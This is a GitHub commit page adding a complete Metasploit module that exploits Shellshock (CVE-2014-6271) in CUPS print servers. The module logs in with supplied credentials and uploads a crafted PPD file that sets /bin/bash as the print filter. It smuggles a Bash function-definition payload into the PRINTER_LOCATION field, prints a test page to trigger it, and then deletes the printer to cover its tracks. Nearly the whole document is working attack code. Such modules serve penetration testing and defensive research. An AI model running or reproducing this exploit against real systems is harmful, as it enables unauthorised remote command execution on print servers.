Skip to content

Commit 3de5c43

Browse files
committed
Land rapid7#4050, CUPS Shellshock
Bashbleeded!!!!!!!!!!!
2 parents c6bbc5b + 78b199f commit 3de5c43

File tree

1 file changed

+252
-0
lines changed

1 file changed

+252
-0
lines changed
Lines changed: 252 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,252 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
15+
'Description' => %q{
16+
This module exploits a post-auth code injection in specially crafted
17+
environment variables in Bash, specifically targeting CUPS filters
18+
through the PRINTER_INFO and PRINTER_LOCATION variables by default.
19+
},
20+
'Author' => [
21+
'Stephane Chazelas', # Vulnerability discovery
22+
'Brendan Coles <bcoles[at]gmail.com>' # msf
23+
],
24+
'References' => [
25+
['CVE', '2014-6271'],
26+
['CVE', '2014-6278'],
27+
['EDB', '34765'],
28+
['URL', 'https://access.redhat.com/articles/1200223'],
29+
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
30+
],
31+
'Privileged' => false,
32+
'Arch' => ARCH_CMD,
33+
'Platform' => 'unix',
34+
'Payload' =>
35+
{
36+
'Space' => 1024,
37+
'BadChars' => "\x00\x0A\x0D",
38+
'DisableNops' => true
39+
},
40+
'Compat' =>
41+
{
42+
'PayloadType' => 'cmd',
43+
'RequiredCmd' => 'generic bash awk ruby'
44+
},
45+
# Tested on CUPS 1.4.3 and 1.5.3
46+
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
47+
'DefaultTarget' => 0,
48+
'DisclosureDate' => 'Sep 24 2014',
49+
'License' => MSF_LICENSE
50+
))
51+
register_options([
52+
Opt::RPORT(631),
53+
OptBool.new('SSL', [ true, 'Use SSL', true ]),
54+
OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
55+
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
56+
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
57+
], self.class)
58+
end
59+
60+
#
61+
# CVE-2014-6271
62+
#
63+
def cve_2014_6271(cmd)
64+
%{() { :;}; $(#{cmd}) & }
65+
end
66+
67+
#
68+
# Check credentials
69+
#
70+
def check
71+
@cookie = rand_text_alphanumeric(16)
72+
printer_name = rand_text_alphanumeric(10 + rand(5))
73+
res = add_printer(printer_name, '')
74+
if !res
75+
vprint_error("#{peer} - No response from host")
76+
return Exploit::CheckCode::Unknown
77+
elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/
78+
vprint_status("#{peer} - Found CUPS version #{$1}")
79+
else
80+
print_status("#{peer} - Target is not a CUPS web server")
81+
return Exploit::CheckCode::Safe
82+
end
83+
if res.body =~ /Set Default Options for #{printer_name}/
84+
vprint_good("#{peer} - Added printer successfully")
85+
delete_printer(printer_name)
86+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
87+
vprint_error("#{peer} - Authentication failed")
88+
elsif res.code == 426
89+
vprint_error("#{peer} - SSL required - set SSL true")
90+
end
91+
Exploit::CheckCode::Detected
92+
end
93+
94+
#
95+
# Exploit
96+
#
97+
def exploit
98+
@cookie = rand_text_alphanumeric(16)
99+
printer_name = rand_text_alphanumeric(10 + rand(5))
100+
101+
# Add a printer containing the payload
102+
# with a CUPS filter pointing to /bin/bash
103+
res = add_printer(printer_name, cve_2014_6271(payload.raw))
104+
if !res
105+
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
106+
elsif res.body =~ /Set Default Options for #{printer_name}/
107+
print_good("#{peer} - Added printer successfully")
108+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
109+
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
110+
elsif res.code == 426
111+
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
112+
else
113+
fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
114+
end
115+
116+
# Add a test page to the print queue.
117+
# The print job triggers execution of the bash filter
118+
# which executes the payload in the environment variables.
119+
res = print_test_page(printer_name)
120+
if !res
121+
fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
122+
elsif res.body =~ /Test page sent; job ID is/
123+
vprint_good("#{peer} - Added test page to printer queue")
124+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
125+
fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
126+
elsif res.code == 426
127+
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
128+
else
129+
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
130+
end
131+
132+
# Delete the printer
133+
res = delete_printer(printer_name)
134+
if !res
135+
fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
136+
elsif res.body =~ /has been deleted successfully/
137+
print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
138+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
139+
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
140+
elsif res.code == 426
141+
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
142+
else
143+
vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
144+
end
145+
end
146+
147+
#
148+
# Add a printer to CUPS
149+
#
150+
def add_printer(printer_name, cmd)
151+
vprint_status("#{peer} - Adding new printer '#{printer_name}'")
152+
153+
ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
154+
ppd_file = <<-EOF
155+
*PPD-Adobe: "4.3"
156+
*%==== General Information Keywords ========================
157+
*FormatVersion: "4.3"
158+
*FileVersion: "1.00"
159+
*LanguageVersion: English
160+
*LanguageEncoding: ISOLatin1
161+
*PCFileName: "#{ppd_name}"
162+
*Manufacturer: "Brother"
163+
*Product: "(Brother MFC-3820CN)"
164+
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
165+
*cupsVersion: 1.1
166+
*cupsManualCopies: False
167+
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
168+
*cupsModelNumber: #{rand(10) + 1}
169+
*ModelName: "Brother MFC-3820CN"
170+
*ShortNickName: "Brother MFC-3820CN"
171+
*NickName: "Brother MFC-3820CN CUPS v1.1"
172+
*%
173+
*%==== Basic Device Capabilities =============
174+
*LanguageLevel: "3"
175+
*ColorDevice: True
176+
*DefaultColorSpace: RGB
177+
*FileSystem: False
178+
*Throughput: "12"
179+
*LandscapeOrientation: Plus90
180+
*VariablePaperSize: False
181+
*TTRasterizer: Type42
182+
*FreeVM: "1700000"
183+
184+
*DefaultOutputOrder: Reverse
185+
*%==== Media Selection ======================
186+
187+
*OpenUI *PageSize/Media Size: PickOne
188+
*OrderDependency: 18 AnySetup *PageSize
189+
*DefaultPageSize: BrLetter
190+
*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
191+
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
192+
EOF
193+
194+
pd = Rex::MIME::Message.new
195+
pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
196+
pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
197+
pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
198+
pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
199+
pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
200+
pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
201+
pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))
202+
203+
data = pd.to_s
204+
data.strip!
205+
206+
send_request_cgi(
207+
'method' => 'POST',
208+
'uri' => normalize_uri(target_uri.path, 'admin'),
209+
'ctype' => "multipart/form-data; boundary=#{pd.bound}",
210+
'data' => data,
211+
'cookie' => "org.cups.sid=#{@cookie};",
212+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
213+
)
214+
end
215+
216+
#
217+
# Queue a printer test page
218+
#
219+
def print_test_page(printer_name)
220+
vprint_status("#{peer} - Adding test page to printer queue")
221+
send_request_cgi(
222+
'method' => 'POST',
223+
'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
224+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
225+
'cookie' => "org.cups.sid=#{@cookie}",
226+
'vars_post' => {
227+
'org.cups.sid' => @cookie,
228+
'OP' => 'print-test-page'
229+
}
230+
)
231+
end
232+
233+
#
234+
# Delete a printer
235+
#
236+
def delete_printer(printer_name)
237+
vprint_status("#{peer} - Deleting printer '#{printer_name}'")
238+
send_request_cgi(
239+
'method' => 'POST',
240+
'uri' => normalize_uri(target_uri.path, 'admin'),
241+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
242+
'cookie' => "org.cups.sid=#{@cookie}",
243+
'vars_post' => {
244+
'org.cups.sid' => @cookie,
245+
'OP' => 'delete-printer',
246+
'printer_name' => printer_name,
247+
'confirm' => 'Delete Printer'
248+
}
249+
)
250+
end
251+
252+
end

0 commit comments

Comments
 (0)